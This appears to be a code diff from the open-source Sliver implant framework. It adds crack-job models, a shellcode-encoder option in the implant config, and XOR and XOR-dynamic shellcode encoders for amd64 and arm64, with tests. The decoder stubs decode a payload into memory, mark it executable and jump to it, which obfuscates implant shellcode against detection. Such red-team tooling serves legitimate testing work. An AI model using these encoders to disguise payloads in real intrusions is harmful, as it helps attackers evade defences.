return clientpb.CrackJobStatus_IN_PROGRESS
}
@@ -158,9 +163,67 @@ func (c *CrackJob) Status() clientpb.CrackJobStatus {
return clientpb.CrackJobStatus_COMPLETED
}
// BeforeCreate - GORM hook
func (c *CrackJob) BeforeCreate(tx *gorm.DB) (err error) {
if c.ID == uuid.Nil {
c.ID, err = uuid.NewV4()
if err != nil {
return err
}
}
if c.CreatedAt.IsZero() {
c.CreatedAt = time.Now()
}
return nil
}
func (c *CrackJob) ToProtobuf() *clientpb.CrackJob {
job := &clientpb.CrackJob{
ID: c.ID.String(),
CreatedAt: c.CreatedAt.UTC().Format(time.RFC3339),
Status: c.Status(),
Err: c.Err,
Command: c.Command.ToProtobuf(),
ResultFileID: c.ResultFileID,
}
if !c.CompletedAt.IsZero() {
job.CompletedAt = c.CompletedAt.UTC().Format(time.RFC3339)
}
return job
}
func (CrackJob) FromProtobuf(c *clientpb.CrackJob) *CrackJob {
job := &CrackJob{}
if c == nil {
return job
}
jobID := uuid.FromStringOrNil(c.ID)
if jobID != uuid.Nil {
job.ID = jobID
}
if c.CreatedAt != "" {
if createdAt, err := time.Parse(time.RFC3339, c.CreatedAt); err == nil {
job.CreatedAt = createdAt
}
}
if c.CompletedAt != "" {
if completedAt, err := time.Parse(time.RFC3339, c.CompletedAt); err == nil {
job.CompletedAt = completedAt
}
}
job.Err = c.Err
job.ResultFileID = c.ResultFileID
if c.Command != nil {
job.Command = *CrackCommand{}.FromProtobuf(c.Command)
job.Command.CrackJobID = job.ID
}
return job
}
// CrackTask - An individual chunk of a job sent to a specific crackstation
type CrackTask struct {
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
CrackJobID uuid.UUID `gorm:"type:uuid;"`
CrackstationID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
StartedAt time.Time
@@ -201,6 +264,7 @@ type CrackCommand struct {
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
CrackTaskID uuid.UUID `gorm:"type:uuid;"`
CrackJobID uuid.UUID `gorm:"type:uuid;"`
// FLAGS
AttackMode int32
+16 -12
View File
@@ -168,7 +168,9 @@ type ImplantConfig struct {
MaxConnectionErrors uint32
ConnectionStrategy string
SGNEnabled bool
Exports string
// ShellcodeEncoder - client-side post-processing applied to shellcode output
ShellcodeEncoder int32
Exports string
// WireGuard
WGPeerTunIP string
@@ -203,7 +205,7 @@ type ImplantConfig struct {
IsShellcode bool
RunAtLoad bool
// Donut options (Windows shellcode only)
// Shellcode options (Windows: Donut; macOS/Linux: Compress only)
DonutEntropy uint32
DonutCompress uint32
DonutExitOpt uint32
@@ -264,6 +266,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
ObfuscateSymbols: ic.ObfuscateSymbols,
TemplateName: ic.TemplateName,
SGNEnabled: ic.SGNEnabled,
ShellcodeEncoder: clientpb.ShellcodeEncoder(ic.ShellcodeEncoder),
ReconnectInterval: ic.ReconnectInterval,
MaxConnectionErrors: ic.MaxConnectionErrors,
@@ -297,7 +300,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
DonutConfig: &clientpb.DonutConfig{
ShellcodeConfig: &clientpb.ShellcodeConfig{
Entropy: ic.DonutEntropy,
Compress: ic.DonutCompress,
ExitOpt: ic.DonutExitOpt,
@@ -479,6 +482,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.TemplateName = defaultTemplateName
}
cfg.SGNEnabled = pbConfig.SGNEnabled
cfg.ShellcodeEncoder = int32(pbConfig.ShellcodeEncoder)
cfg.IncludeMTLS = IsC2Enabled([]string{"mtls"}, pbConfig.C2)
cfg.IncludeWG = IsC2Enabled([]string{"wg"}, pbConfig.C2)
@@ -518,15 +522,15 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
if pbConfig.DonutConfig != nil {
cfg.DonutEntropy = pbConfig.DonutConfig.Entropy
cfg.DonutCompress = pbConfig.DonutConfig.Compress
cfg.DonutExitOpt = pbConfig.DonutConfig.ExitOpt
cfg.DonutBypass = pbConfig.DonutConfig.Bypass
cfg.DonutHeaders = pbConfig.DonutConfig.Headers
cfg.DonutThread = pbConfig.DonutConfig.Thread
cfg.DonutUnicode = pbConfig.DonutConfig.Unicode
cfg.DonutOEP = pbConfig.DonutConfig.OEP
if pbConfig.ShellcodeConfig != nil {
cfg.DonutEntropy = pbConfig.ShellcodeConfig.Entropy
cfg.DonutCompress = pbConfig.ShellcodeConfig.Compress
cfg.DonutExitOpt = pbConfig.ShellcodeConfig.ExitOpt
cfg.DonutBypass = pbConfig.ShellcodeConfig.Bypass
cfg.DonutHeaders = pbConfig.ShellcodeConfig.Headers
cfg.DonutThread = pbConfig.ShellcodeConfig.Thread
cfg.DonutUnicode = pbConfig.ShellcodeConfig.Unicode
cfg.DonutOEP = pbConfig.ShellcodeConfig.OEP
}
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
+1
View File
@@ -63,6 +63,7 @@ func newDBClient() *gorm.DB {
&models.DNSCanary{},
&models.Crackstation{},
&models.Benchmark{},
&models.CrackJob{},
&models.CrackTask{},
&models.CrackCommand{},
&models.CrackFile{},
+75 -13
View File
@@ -24,6 +24,7 @@ package amd64
import (
"bytes"
"crypto/rand"
"fmt"
"strings"
@@ -34,6 +35,7 @@ const (
xorDynamicKeyPlaceholder = 0x41
xorDynamicPayloadPlaceholder = 0x42
xorDynamicStubSize = 46
xorDynamicStubSizeDword = xorDynamicStubSize + 1
)
var xorDynamicBadchars = map[byte]bool{
@@ -45,6 +47,9 @@ var xorDynamicBadchars = map[byte]bool{
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
//
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
// that case, this implementation falls back to a 4-byte payload terminator.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
@@ -162,12 +167,34 @@ func selectKeyTerm(key []byte) (byte, error) {
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
// Fast path: try to find a distinct 2-byte terminator not present in the
// encoded payload. This preserves compatibility with the Metasploit stub.
present := make([]bool, 1<<16)
for i := 0; i+1 < len(encoded); i++ {
present[int(encoded[i])<<8|int(encoded[i+1])] = true
}
for _, first := range allowed {
for _, second := range allowed {
term := []byte{first, second}
if !bytes.Contains(encoded, term) {
return term, nil
if first == second {
continue // avoid periodic terminators (reduces cross-boundary false matches)
}
if !present[int(first)<<8|int(second)] {
return []byte{first, second}, nil
}
}
}
// Fallback: for large/high-entropy payloads it is possible for every allowed
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
// bytes) which is overwhelmingly likely to be absent.
for attempts := 0; attempts < 2048; attempts++ {
term, err := randomDistinctBytes(allowed, 4)
if err != nil {
return nil, err
}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
@@ -185,9 +212,34 @@ func allowedDynamicChars() []byte {
return allowed
}
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
if n <= 0 {
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
}
if len(allowed) < n {
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
}
term := make([]byte, 0, n)
var seen [256]bool
var r [1]byte
for len(term) < n {
if _, err := rand.Read(r[:]); err != nil {
return nil, err
}
b := allowed[int(r[0])%len(allowed)]
if seen[b] {
continue
}
seen[b] = true
term = append(term, b)
}
return term, nil
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
@@ -200,6 +252,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
return nil, err
}
cmpLine := "cmp word ptr [rdi], 0x4242"
if len(payloadTerm) == 4 {
cmpLine = "cmp dword ptr [rdi], 0x42424242"
}
src := strings.Join([]string{
".code64",
"jmp _call",
@@ -222,7 +279,7 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
"xor byte ptr [rdi], al",
"inc rdi",
"inc rsi",
"cmp word ptr [rdi], 0x4242",
cmpLine,
"je _jmp",
"cmp byte ptr [rsi], 0x41",
"jne _lp3",
@@ -238,7 +295,11 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
return nil, err
}
if len(inst) != xorDynamicStubSize {
expectedStubSize := xorDynamicStubSize
if len(payloadTerm) == 4 {
expectedStubSize = xorDynamicStubSizeDword
}
if len(inst) != expectedStubSize {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
@@ -254,13 +315,14 @@ func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
}
payloadReplaced := 0
for i := 0; i+1 < len(inst); i++ {
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
inst[i] = payloadTerm[0]
inst[i+1] = payloadTerm[1]
payloadReplaced++
i++
placeholder := bytes.Repeat([]byte{xorDynamicPayloadPlaceholder}, len(payloadTerm))
for i := 0; i+len(placeholder) <= len(inst); i++ {
if !bytes.Equal(inst[i:i+len(placeholder)], placeholder) {
continue
}
copy(inst[i:i+len(payloadTerm)], payloadTerm)
payloadReplaced++
i += len(payloadTerm) - 1
}
if payloadReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
@@ -0,0 +1,41 @@
package amd64
import (
"bytes"
"testing"
)
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
allowed := allowedDynamicChars()
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
// so no 2-byte terminator can be selected.
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue
}
encoded = append(encoded, first, second)
}
}
term, err := selectPayloadTerm(encoded)
if err != nil {
t.Fatalf("selectPayloadTerm failed: %v", err)
}
if len(term) != 4 {
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
}
if bytes.Contains(encoded, term) {
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
}
seen := map[byte]bool{}
for _, b := range term {
if seen[b] {
t.Fatalf("terminator bytes are not distinct: %x", term)
}
seen[b] = true
}
}
+47
View File
@@ -0,0 +1,47 @@
package arm64
import (
"crypto/rand"
"fmt"
)
const xorDynamicKeySize = 8
// XorKeyGen returns a random key suitable for the XOR encoder.
func XorKeyGen() ([]byte, error) {
return randomBytes(xorKeySize)
}
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
func XorDynamicKeyGen() ([]byte, error) {
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
}
func randomBytes(length int) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
if _, err := rand.Read(buf); err != nil {
return nil, err
}
return buf, nil
}
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
for i := range buf {
for {
if _, err := rand.Read(buf[i : i+1]); err != nil {
return nil, err
}
if !badchars[buf[i]] {
break
}
}
}
return buf, nil
}
+167
View File
@@ -0,0 +1,167 @@
package arm64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorKeySize = 8
xorBlockSize = 8
)
// Xor encodes an arm64 payload using a basic XOR scheme and a small aarch64
// decoder stub (prepended) which allocates a RW buffer, decodes into it,
// marks it RX, then jumps to the decoded payload. This avoids in-place writes
// (W^X-friendly loaders may map the initial shellcode RX).
func Xor(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor encoder: empty payload")
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
paddedLen := blockCount * xorBlockSize
encoded := make([]byte, paddedLen)
copy(encoded, data)
for i := 0; i < paddedLen; i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
encoded[i+j] ^= key[j]
}
}
stub, err := buildDecoderStub(blockCount, key)
if err != nil {
return nil, err
}
return append(stub, encoded...), nil
}
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
keyValue := binary.LittleEndian.Uint64(key)
var sb strings.Builder
sb.Grow(512)
sb.WriteString("adr x19, payload\n") // x19 = encoded payload base
emitMovImm64(&sb, "x20", uint64(blockCount))
emitMovImm64(&sb, "x21", keyValue) // x21 = xor key
// macOS runner maps the shellcode RX, so decoding in place will fault.
// Instead, allocate a RW buffer, decode into it, mprotect to RX, then jump.
sb.WriteString("mov x22, x20\n")
sb.WriteString("lsl x22, x22, #3\n") // x22 = payload len in bytes
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
sb.WriteString("mov x0, #0\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
sb.WriteString("mov x3, #0x1002\n") // MAP_PRIVATE|MAP_ANON (darwin)
sb.WriteString("mov x4, #-1\n")
sb.WriteString("mov x5, #0\n")
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
emitMovImm64(&sb, "x16", 0x020000C5)
sb.WriteString("svc #0\n")
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
sb.WriteString("tbnz x0, #63, mmap_linux\n")
sb.WriteString("b mmap_ok\n")
sb.WriteString("mmap_linux:\n")
sb.WriteString("mov x0, #0\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #3\n") // PROT_READ|PROT_WRITE
sb.WriteString("mov x3, #0x22\n") // MAP_PRIVATE|MAP_ANONYMOUS (linux)
sb.WriteString("mov x4, #-1\n")
sb.WriteString("mov x5, #0\n")
sb.WriteString("mov x8, #222\n") // Linux: __NR_mmap
emitMovImm64(&sb, "x16", 0x020000C5)
sb.WriteString("svc #0\n")
sb.WriteString("mmap_ok:\n")
sb.WriteString("mov x23, x0\n") // x23 = dest base
// Decode/copy loop: src=x19, dst=x0, blocks=x1
sb.WriteString("mov x0, x23\n")
sb.WriteString("mov x1, x20\n")
sb.WriteString("mov x2, x19\n")
sb.WriteString("decode:\n")
sb.WriteString("ldr x3, [x2], #8\n")
sb.WriteString("eor x3, x3, x21\n")
sb.WriteString("str x3, [x0], #8\n")
sb.WriteString("subs x1, x1, #1\n")
sb.WriteString("b.ne decode\n")
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
sb.WriteString("mov x0, x23\n")
sb.WriteString("mov x1, x22\n")
sb.WriteString("mov x2, #5\n") // PROT_READ|PROT_EXEC
sb.WriteString("mov x8, #226\n") // Linux: __NR_mprotect
emitMovImm64(&sb, "x16", 0x0200004A)
sb.WriteString("svc #0\n")
sb.WriteString("br x23\n")
sb.WriteString("payload:\n")
inst, err := engine.Assemble(sb.String(), 0)
if err != nil {
return nil, err
}
if len(inst) == 0 || len(inst)%4 != 0 {
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
}
return inst, nil
}
func emitMovImm64(sb *strings.Builder, reg string, imm uint64) {
lo := uint16(imm & 0xffff)
m16 := uint16((imm >> 16) & 0xffff)
m32 := uint16((imm >> 32) & 0xffff)
m48 := uint16((imm >> 48) & 0xffff)
// Explicit movz/movk keeps the stub stable across assemblers.
fmt.Fprintf(sb, "movz %s, #0x%X\n", reg, lo)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #16\n", reg, m16)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #32\n", reg, m32)
fmt.Fprintf(sb, "movk %s, #0x%X, lsl #48\n", reg, m48)
}
@@ -0,0 +1,367 @@
package arm64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"crypto/rand"
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
// xorDynamicBadchars are used when generating/selecting terminators and keys.
// Note: unlike the amd64 Metasploit xor_dynamic implementation, the arm64
// decoder stub is not guaranteed to be badchar-free.
var xorDynamicBadchars = map[byte]bool{
0x00: true,
0x0a: true,
0x0d: true,
}
// XorDynamic encodes an arm64 payload using a dynamic XOR scheme with:
//
// stub + key + keyTerm + encodedPayload + payloadTerm
//
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
//
// Note: For large/high-entropy payloads, a 2-byte payload terminator may not exist. In
// that case, this implementation falls back to a 4-byte payload terminator.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
}
if len(key) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
}
coreKey := key
var keyTerm byte
var payloadTerm []byte
encoded := xorDynamicEncode(data, key)
explicit := false
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
coreKey = candidateKey
keyTerm = candidateKeyTerm
payloadTerm = candidatePayloadTerm
encoded = xorDynamicEncode(data, coreKey)
explicit = true
}
if containsBadchars(coreKey, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
}
if !explicit {
var err error
keyTerm, err = selectKeyTerm(coreKey)
if err != nil {
return nil, err
}
payloadTerm, err = selectPayloadTerm(encoded)
if err != nil {
return nil, err
}
} else {
if bytes.IndexByte(coreKey, keyTerm) != -1 {
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
}
if bytes.Contains(encoded, payloadTerm) {
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
}
}
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
if err != nil {
return nil, err
}
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
final = append(final, stub...)
final = append(final, coreKey...)
final = append(final, keyTerm)
final = append(final, encoded...)
final = append(final, payloadTerm...)
return final, nil
}
func xorDynamicEncode(data []byte, key []byte) []byte {
encoded := make([]byte, len(data))
for i := range data {
encoded[i] = data[i] ^ key[i%len(key)]
}
return encoded
}
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
if len(key) < 4 {
return nil, 0, nil, false
}
candidateKey := key[:len(key)-3]
if len(candidateKey) == 0 {
return nil, 0, nil, false
}
keyTerm := key[len(key)-3]
payloadTerm := key[len(key)-2:]
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
return nil, 0, nil, false
}
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
return nil, 0, nil, false
}
if containsBadchars(candidateKey, xorDynamicBadchars) {
return nil, 0, nil, false
}
encoded := xorDynamicEncode(data, candidateKey)
if bytes.Contains(encoded, payloadTerm) {
return nil, 0, nil, false
}
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
}
func selectKeyTerm(key []byte) (byte, error) {
for _, b := range allowedDynamicChars() {
if bytes.IndexByte(key, b) == -1 {
return b, nil
}
}
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
}
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
// Fast path: try to find a distinct 2-byte terminator not present in the
// encoded payload.
present := make([]bool, 1<<16)
for i := 0; i+1 < len(encoded); i++ {
present[int(encoded[i])<<8|int(encoded[i+1])] = true
}
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue // avoid periodic terminators (reduces cross-boundary false matches)
}
if !present[int(first)<<8|int(second)] {
return []byte{first, second}, nil
}
}
}
// Fallback: for large/high-entropy payloads it is possible for every allowed
// 2-byte sequence to occur. In that case, pick a 4-byte terminator (distinct
// bytes) which is overwhelmingly likely to be absent.
for attempts := 0; attempts < 2048; attempts++ {
term, err := randomDistinctBytes(allowed, 4)
if err != nil {
return nil, err
}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
}
func allowedDynamicChars() []byte {
allowed := make([]byte, 0, 255)
for i := 1; i <= 255; i++ {
b := byte(i)
if xorDynamicBadchars[b] {
continue
}
allowed = append(allowed, b)
}
return allowed
}
func randomDistinctBytes(allowed []byte, n int) ([]byte, error) {
if n <= 0 {
return nil, fmt.Errorf("xor_dynamic encoder: invalid terminator length %d", n)
}
if len(allowed) < n {
return nil, fmt.Errorf("xor_dynamic encoder: not enough allowed bytes (%d) for %d-byte terminator", len(allowed), n)
}
term := make([]byte, 0, n)
var seen [256]bool
var r [1]byte
for len(term) < n {
if _, err := rand.Read(r[:]); err != nil {
return nil, err
}
b := allowed[int(r[0])%len(allowed)]
if seen[b] {
continue
}
seen[b] = true
term = append(term, b)
}
return term, nil
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 && len(payloadTerm) != 4 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 or 4 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_ARM64, keystone.MODE_LITTLE_ENDIAN)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
var payloadLoad string
var payloadVal uint64
switch len(payloadTerm) {
case 2:
payloadLoad = "ldrh w7, [x9]"
payloadVal = uint64(binary.LittleEndian.Uint16(payloadTerm))
case 4:
payloadLoad = "ldr w7, [x9]"
payloadVal = uint64(binary.LittleEndian.Uint32(payloadTerm))
default:
return nil, fmt.Errorf("xor_dynamic encoder: invalid payload terminator length %d", len(payloadTerm))
}
src := strings.Join([]string{
"adr x19, payload", // x19 = key start
"mov x1, x19", // x1 = scan pointer
"find_key_term:", //
"ldrb w2, [x1], #1", // read key byte
fmt.Sprintf("cmp w2, #0x%02X", keyTerm),
"b.ne find_key_term", // keep scanning
"mov x20, x1", // x20 = payload start / jump target
"mov x3, x1", // x3 = payload decode pointer
"mov x4, x19", // x4 = key decode pointer
fmt.Sprintf("movz x10, #0x%X", uint16(payloadVal&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #16", uint16((payloadVal>>16)&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #32", uint16((payloadVal>>32)&0xffff)),
fmt.Sprintf("movk x10, #0x%X, lsl #48", uint16((payloadVal>>48)&0xffff)),
// Scan for the payload terminator (it is guaranteed not to occur in the
// encoded payload), then allocate a RW buffer, decode into it, mprotect
// to RX, and jump.
"mov x9, x3", // x9 = scan pointer
"find_payload_term:",
payloadLoad,
"cmp w7, w10",
"b.eq payload_term_found",
"add x9, x9, #1",
"b find_payload_term",
"payload_term_found:",
"sub x22, x9, x20", // x22 = payload len in bytes (terminator excluded)
// mmap(NULL, payloadLen, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0)
"mov x0, #0",
"mov x1, x22",
"mov x2, #3", // PROT_READ|PROT_WRITE
"mov x3, #0x1002", // MAP_PRIVATE|MAP_ANON (darwin)
"mov x4, #-1",
"mov x5, #0",
"mov x8, #222", // Linux: __NR_mmap
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
"svc #0",
// Darwin MAP_ANON is 0x1000, Linux MAP_ANONYMOUS is 0x20.
// Try Darwin flags first, then retry with Linux flags if the syscall fails.
"tbnz x0, #63, mmap_linux",
"b mmap_ok",
"mmap_linux:",
"mov x0, #0",
"mov x1, x22",
"mov x2, #3", // PROT_READ|PROT_WRITE
"mov x3, #0x22", // MAP_PRIVATE|MAP_ANONYMOUS (linux)
"mov x4, #-1",
"mov x5, #0",
"mov x8, #222", // Linux: __NR_mmap
fmt.Sprintf("movz x16, #0x%X", uint16(0x020000C5&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x020000C5>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x020000C5>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x020000C5>>48)&0xffff)),
"svc #0",
"mmap_ok:",
"mov x23, x0", // x23 = dest base
"mov x24, x0", // x24 = dest ptr
"mov x3, x20", // restore src pointer (payload start)
"mov x4, x19", // restore key pointer
"decode_loop:",
"cmp x3, x9", // reached terminator?
"b.eq decode_done",
"ldrb w5, [x4], #1", // load key byte
fmt.Sprintf("cmp w5, #0x%02X", keyTerm),
"b.ne have_key",
"mov x4, x19", // reset key pointer
"ldrb w5, [x4], #1", // load first key byte
"have_key:",
"ldrb w6, [x3], #1", // load payload byte + advance
"eor w6, w6, w5",
"strb w6, [x24], #1", // store + advance dest
"b decode_loop",
"decode_done:",
// mprotect(dst, payloadLen, PROT_READ|PROT_EXEC)
"mov x0, x23",
"mov x1, x22",
"mov x2, #5", // PROT_READ|PROT_EXEC
"mov x8, #226", // Linux: __NR_mprotect
fmt.Sprintf("movz x16, #0x%X", uint16(0x0200004A&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #16", uint16((0x0200004A>>16)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #32", uint16((0x0200004A>>32)&0xffff)),
fmt.Sprintf("movk x16, #0x%X, lsl #48", uint16((0x0200004A>>48)&0xffff)),
"svc #0",
"br x23", // jump to decoded payload
"payload:",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) == 0 || len(inst)%4 != 0 {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
return inst, nil
}
func containsBadchars(data []byte, badchars map[byte]bool) bool {
for _, b := range data {
if badchars[b] {
return true
}
}
return false
}
@@ -0,0 +1,41 @@
package arm64
import (
"bytes"
"testing"
)
func TestSelectPayloadTermFallsBackTo4Bytes(t *testing.T) {
allowed := allowedDynamicChars()
// Populate the encoded payload with every allowed *distinct* 2-byte sequence
// so no 2-byte terminator can be selected.
encoded := make([]byte, 0, len(allowed)*len(allowed)*2)
for _, first := range allowed {
for _, second := range allowed {
if first == second {
continue
}
encoded = append(encoded, first, second)
}
}
term, err := selectPayloadTerm(encoded)
if err != nil {
t.Fatalf("selectPayloadTerm failed: %v", err)
}
if len(term) != 4 {
t.Fatalf("expected 4-byte terminator, got %d bytes", len(term))
}
if bytes.Contains(encoded, term) {
t.Fatalf("4-byte terminator unexpectedly present in encoded payload")
}
seen := map[byte]bool{}
for _, b := range term {
if seen[b] {
t.Fatalf("terminator bytes are not distinct: %x", term)
}
seen[b] = true
}
}
@@ -0,0 +1,115 @@
package arm64
import (
"bytes"
"testing"
)
func TestXorDynamicRoundTripAutoTerms(t *testing.T) {
// Ensure splitExplicitTerms() returns false by making the would-be key terminator
// (key[len-3]) present in candidateKey.
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x11, 0x77, 0x88}
payload := bytes.Repeat([]byte{0x00}, 64)
out, err := XorDynamic(payload, coreKey)
if err != nil {
t.Fatalf("XorDynamic failed: %v", err)
}
if len(out) <= len(coreKey)+1+len(payload)+2 {
t.Fatalf("xor_dynamic output too short: %d", len(out))
}
